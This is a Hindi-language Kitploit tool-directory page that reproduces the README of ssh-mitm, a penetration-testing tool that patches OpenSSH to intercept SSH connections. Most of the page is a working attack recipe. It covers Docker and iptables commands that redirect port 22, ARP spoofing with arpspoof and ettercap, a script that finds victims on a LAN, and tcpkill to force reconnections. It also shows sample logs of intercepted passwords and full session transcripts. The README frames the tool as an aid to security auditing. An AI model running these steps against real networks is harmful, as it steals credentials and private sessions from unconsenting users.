Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
ssh-mitm — SSH मैन-इन-द-मिडिल टूल | Kitploit
उपकरण/GitHubGitHub/jtesta/ssh-mitm
पासवर्ड क्रैकिंगटोहीआईडीएस/आईपीएस से बचनापार्श्व आंदोलनजानकारी एकत्र करनानेटवर्क सुरक्षापेनिट्रेशन टेस्टिंगप्रमाणीकरणरेड टीमिंगArchived
GitHubjtesta/ssh-mitm

ssh-mitm

SSH मैन-इन-द-मिडिल टूल

1.7k21375 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

SSH MITM v2.3-dev

लेखक: Joe Testa (@therealjoetesta)


अवलोकन

यह पैठ परीक्षण उपकरण एक लेखा परीक्षक को SSH कनेक्शनों को इंटरसेप्ट करने की अनुमति देता है। OpenSSH v7.5p1 स्रोत कोड पर लागू एक पैच इसे पीड़ित और उनके इच्छित SSH सर्वर के बीच एक प्रॉक्सी के रूप में कार्य करने का कारण बनता है; सभी सादा पाठ पासवर्ड और सत्र डिस्क पर लॉग किए जाते हैं।

बेशक, पीड़ित का SSH क्लाइंट शिकायत करेगा कि सर्वर की कुंजी बदल गई है। लेकिन क्योंकि 99.99999% समय यह एक वैध कार्रवाई (OS पुनर्स्थापना, कॉन्फ़िगरेशन परिवर्तन, आदि) के कारण होता है, कई/अधिकांश उपयोगकर्ता चेतावनी को अनदेखा कर देंगे और जारी रखेंगे।

नोट: संशोधित sshd_mitm को केवल VM या कंटेनर में चलाएँ! OpenSSH स्रोतों में महत्वपूर्ण क्षेत्रों में तदर्थ संपादन किए गए थे, उनके सुरक्षा प्रभावों के लिए कोई ध्यान नहीं दिया गया। यह कल्पना करना कठिन नहीं है कि ये संपादन गंभीर कमजोरियाँ पैदा करते हैं।

परिवर्तन लॉग

  • v2.3: ???: Linux Mint 20 और Ubuntu 20 के लिए समर्थन जोड़ा गया।
  • v2.2: 16 सितंबर, 2019: Kali और Linux Mint 19 पर स्थापना ठीक की गई। कुछ शर्तों के तहत होने वाले डबल-पासवर्ड प्रॉम्प्ट को ठीक किया गया। त्रुटि लॉगिंग में सुधार किया गया।
  • v2.1: 4 जनवरी, 2018: गैर-इंटरैक्टिव कमांड निष्पादन सक्षम किया गया, कमज़ोर एल्गोरिदम वाले पुराने सर्वरों से कनेक्शन अब इंटरसेप्ट किए जा सकते हैं, दो बड़ी बग ठीक की गईं जिनके कारण AppArmor कुछ कनेक्शनों को मार रहा था, और त्रुटि लॉगिंग में सुधार किया गया।
  • v2.0: 12 सितंबर, 2017: पूर्ण SFTP समर्थन(!) और AppArmor प्रतिबंध जोड़ा गया।
  • v1.1: 6 जुलाई, 2017: रूट विशेषाधिकार निर्भरताएँ हटाई गईं, स्वचालित इंस्टॉलर जोड़ा गया, Kali Linux समर्थन जोड़ा गया, LAN पर संभावित लक्ष्य खोजने के लिए JoesAwesomeSSHMITMVictimFinder.py स्क्रिप्ट जोड़ी गई।
  • v1.0: 16 मई, 2017: प्रारंभिक संशोधन।

डॉकर इमेज चलाना

आरंभ करने का सबसे तेज़ और आसान तरीका है पूर्व-निर्मित SSH MITM के साथ डॉकर इमेज का उपयोग करना।

1.) Dockerhub से इमेज प्राप्त करें:

root@kitploit:~
$ docker pull positronsecurity/ssh-mitm

2.) इसके बाद, कंटेनर को इस प्रकार चलाएँ:

root@kitploit:~
$ mkdir -p ${PWD}/ssh_mitm_logs && docker run --network=host -it --rm -v ${PWD}/ssh_mitm_logs:/home/ssh-mitm/log positronsecurity/ssh-mitm

3.) अपने होस्ट मशीन पर IP फ़ॉरवर्डिंग और NATिंग रूट सक्षम करें:

root@kitploit:~
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -P FORWARD ACCEPT
# iptables -A INPUT -p tcp --dport 2222 -j ACCEPT
# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-ports 2222

4.) LAN पर लक्ष्य खोजें, और उन्हें ARP स्पूफ़ करें (नीचे देखें)।

5.) शेल और SFTP सत्र ssh_mitm_logs निर्देशिका में लॉग किए जाएँगे।

प्रारंभिक सेटअप

रूट के रूप में, install.sh स्क्रिप्ट चलाएँ। यह रिपॉजिटरी से पूर्वापेक्षाएँ स्थापित करेगा, OpenSSH संग्रह डाउनलोड करेगा, उसके हस्ताक्षर सत्यापित करेगा, उसे संकलित करेगा, और निष्पादन के लिए एक गैर-विशेषाधिकार प्राप्त वातावरण आरंभ करेगा।

लक्ष्य खोजना

JoesAwesomeSSHMITMVictimFinder.py स्क्रिप्ट LAN पर लक्ष्य खोजना बहुत आसान बनाती है। यह IPs के एक ब्लॉक को ARP स्पूफ़ करेगी और अगले ब्लॉक पर जाने से पहले थोड़े समय के लिए SSH ट्रैफ़िक सूँघेगी। LAN पर उपकरणों से उत्पन्न होने वाले किसी भी चल रहे SSH कनेक्शन की रिपोर्ट की जाती है।

डिफ़ॉल्ट रूप से, JoesAwesomeSSHMITMVictimFinder.py एक बार में केवल 5 IPs को ARP स्पूफ़ करेगी और 20 सेकंड के लिए सूँघेगी, फिर अगले 5 के ब्लॉक पर जाएगी। इन मापदंडों को ट्यून किया जा सकता है, हालांकि एक व्यापार-बंद मौजूद है: एक बार में जितने अधिक IPs स्पूफ़ किए जाते हैं, आपके द्वारा एक चल रहे SSH कनेक्शन को पकड़ने की संभावना उतनी ही अधिक होती है, लेकिन आपके छोटे से नेटवर्क इंटरफ़ेस पर दबाव भी उतना ही अधिक होता है। बहुत अधिक लोड के तहत, आपका इंटरफ़ेस फ्रेम गिराना शुरू कर देगा, जिससे सेवा से वंचित होना और संदेह बहुत बढ़ जाएगा (यह बुरा है)। डिफ़ॉल्ट अधिकांश मामलों में समस्या पैदा नहीं करना चाहिए, हालांकि लक्ष्य खोजने में अधिक समय लगेगा। कम उपयोग वाले नेटवर्क पर ब्लॉक आकार को सुरक्षित रूप से बढ़ाया जा सकता है।

उदाहरण:

root@kitploit:~
# ./JoesAwesomeSSHMITMVictimFinder.py --interface enp0s3 --ignore-ips 10.11.12.50,10.11.12.53
Found local address 10.11.12.141 and adding to ignore list.
Using network CIDR 10.11.12.141/24.
Found default gateway: 10.11.12.1
IP blocks of size 5 will be spoofed for 20 seconds each.
The following IPs will be skipped: 10.11.12.50 10.11.12.53 10.11.12.141

Local clients:
  * 10.11.12.70 -> 174.129.77.155:22
  * 10.11.12.43 -> 10.11.99.2:22

उपरोक्त आउटपुट दिखाता है कि LAN पर दो डिवाइसों ने SSH कनेक्शन बनाए हैं (10.11.12.43 और 10.11.12.70); इन्हें मैन-इन-द-मिडिल हमले के लिए लक्षित किया जा सकता है। हालांकि, ध्यान दें कि क्रेडेंशियल्स को संभावित रूप से इंटरसेप्ट करने के लिए, आपको उनके नए कनेक्शन शुरू करने की प्रतीक्षा करनी होगी। अधीर पैठ परीक्षक मौजूदा SSH सत्रों को जबरदस्ती बंद करने का विकल्प चुन सकते हैं (tcpkill टूल का उपयोग करके), जिससे क्लाइंट तुरंत नए कनेक्शन बनाने के लिए प्रेरित होंगे...

हमला चलाना

1.) एक बार जब आप प्रारंभिक सेटअप पूरा कर लेते हैं और संभावित पीड़ितों की सूची पा लेते हैं (ऊपर देखें), रूट के रूप में start.sh निष्पादित करें। यह sshd_mitm शुरू करेगा, IP फ़ॉरवर्डिंग सक्षम करेगा, और iptables के माध्यम से SSH पैकेट इंटरसेप्शन सेट करेगा।

2.) लक्ष्य को ARP स्पूफ़ करें (प्रो टिप: सब कुछ स्पूफ़ न करें! आपका छोटा नेटवर्क इंटरफ़ेस संभवतः एक साथ पूरे नेटवर्क के ट्रैफ़िक को संभालने में सक्षम नहीं होगा। एक बार में केवल कुछ IPs स्पूफ़ करें):

root@kitploit:~
arpspoof -r -t 192.168.x.1 192.168.x.5

वैकल्पिक रूप से, आप ettercap टूल का उपयोग कर सकते हैं:

root@kitploit:~
ettercap -i enp0s3 -T -M arp /192.168.x.1// /192.168.x.5,192.168.x.6//

3.) auth.log की निगरानी करें। इंटरसेप्ट किए गए पासवर्ड यहाँ दिखाई देंगे:

root@kitploit:~
sudo tail -f /var/log/auth.log

4.) एक बार सत्र स्थापित हो जाने पर, सभी इनपुट और आउटपुट का पूरा लॉग /home/ssh-mitm/ में पाया जा सकता है। SSH सत्रों को shell_session_*.txt के रूप में, और SFTP सत्रों को sftp_session_*.html के रूप में लॉग किया जाता है (स्थानांतरित फ़ाइलें एक संबंधित निर्देशिका में संग्रहीत होती हैं)।

नमूना परिणाम

सफलता पर, /var/log/auth.log में पासवर्ड लॉग करने वाली पंक्तियाँ होंगी, जैसे:

root@kitploit:~
Sep 11 19:28:14 showmeyourmoves sshd_mitm[16798]: INTERCEPTED PASSWORD: hostname: [10.199.30.x]; username: [jdog]; password: [supercalifragilistic] [preauth]

इसके अलावा, पीड़ित का संपूर्ण SSH सत्र लॉग होता है:

root@kitploit:~
# cat /home/ssh-mitm/shell_session_0.txt
Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
Last login: Thu Aug 31 17:42:38 2017
OpenBSD 6.1 (GENERIC.MP) #21: Wed Aug 30 08:21:38 CEST 2017

Welcome to OpenBSD: The proactively secure Unix-like operating system.

Please use the sendbug(1) utility to report bugs in the system.
Before reporting a bug, please try to reproduce it with the latest
version of the code.  With bug reports, please try to ensure that
enough information to reproduce the problem is enclosed, and if a
known fix for it exists, include that as well.

jdog@jefferson ~ $ ppss
  PID TT  STAT       TIME COMMAND
59264 p0  Ss      0:00.02 -bash (bash)
52132 p0  R+p     0:00.00 ps
jdog@jefferson ~ $ iidd
uid=1000(jdog) gid=1000(jdog) groups=1000(jdog), 0(wheel)
jdog@jefferson ~ $ sssshh  jjtteessttaa@@mmaaggiiccbbooxx
jtesta@magicbox's password: ROFLC0PTER!!1juan

ध्यान दें कि उपयोगकर्ता के कमांड में वर्ण फ़ाइल में दो बार दिखाई देते हैं क्योंकि उपयोगकर्ता से इनपुट रिकॉर्ड किया जाता है, साथ ही शेल से आउटपुट (जो वर्णों को वापस प्रतिध्वनित करता है)। देखें कि जब sudo और ssh जैसे प्रोग्राम पासवर्ड पढ़ने के लिए अस्थायी रूप से प्रतिध्वनि अक्षम करते हैं, तो डुप्लिकेट वर्ण लॉग नहीं होते हैं।

सभी SFTP गतिविधि भी कैप्चर की जाती है। sftp_session_0.html देखने के लिए ब्राउज़र का उपयोग करें। इसमें अपलोड और डाउनलोड की गई फ़ाइलों के लिंक के साथ कमांड का एक लॉग होता है:

root@kitploit:~
# cat /home/ssh-mitm/sftp_session_0.txt
<html><pre>Hostname: 10.199.30.x
Username: jdog
Password: supercalifragilistic
-------------------------
> realpath "." (Result: /home/jdog)
> realpath "/home/jdog/." (Result: /home/jdog)
> ls /home/jdog
drwxr-xr-x    4 jdog     jdog         4096 Sep 11 16:12 .
drwxr-xr-x    4 root     root         4096 Sep  6 11:53 ..
-rw-r--r--    1 jdog     jdog         3771 Aug 31  2015 .bashrc
-rw-r--r--    1 jdog     jdog          220 Aug 31  2015 .bash_logout
drwx------    2 jdog     jdog         4096 Sep  6 11:54 .cache
-rw-r--r--    1 jdog     jdog          655 May 16 08:49 .profile
drwx------    2 jdog     jdog         4096 Sep  8 16:59 .ssh
-rw-rw-r--    1 jdog     jdog      5242880 Sep  8 15:52 file
-rw-rw-r--    1 jdog     jdog        43131 Sep 10 10:47 file2
-rw-rw-r--    1 jdog     jdog           83 Sep  6 12:56 file3
-rw-rw-r--    1 jdog     jdog      3048960 Sep 11 13:51 file4

> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> put <a href="https://github.com/jtesta/ssh-mitm/blob/master/sftp_session_0/file5">/home/jdog/file5</a>
> realpath "/home/jdog/file5" (Result: /home/jdog/file5)
> stat "/home/jdog/file5" (Result: flags: 15; size: 854072; uid: 1001; gid: 1001; perm: 0100664, atime: 1505172831, mtime: 1505172831)
> setstat "/home/jdog/file5" (Result: flags: 4; size: 0; uid: 0; gid: 0; perm: 0100700, atime: 0, mtime: 0)
</pre></html>

डेवलपर दस्तावेज़ीकरण

lol.h में दो डिफ़ाइन हैं: DEBUG_HOST और DEBUG_PORT। उन्हें सक्षम करें और होस्टनाम को एक परीक्षण सर्वर पर सेट करें। अब आप अपने परिवर्तनों का परीक्षण करने के लिए ARP स्पूफिंग का उपयोग किए बिना सीधे sshd_mitm से कनेक्ट कर सकते हैं, जैसे:

root@kitploit:~
ssh -p 2222 valid_user_on_debug_host@localhost

OpenSSH स्रोत कोड में परिवर्तनों का परीक्षण करने के लिए, dev/redeploy.sh स्क्रिप्ट का उपयोग करें।

अप्रतिबद्ध परिवर्तनों का अंतर देखने के लिए, dev/make_diff_of_uncommitted_changes.sh स्क्रिप्ट का उपयोग करें।

OpenSSH स्रोतों के लिए पूर्ण पैच को पुनः उत्पन्न करने के लिए, dev/regenerate_patch.sh स्क्रिप्ट का उपयोग करें।

टूल डाउनलोड करें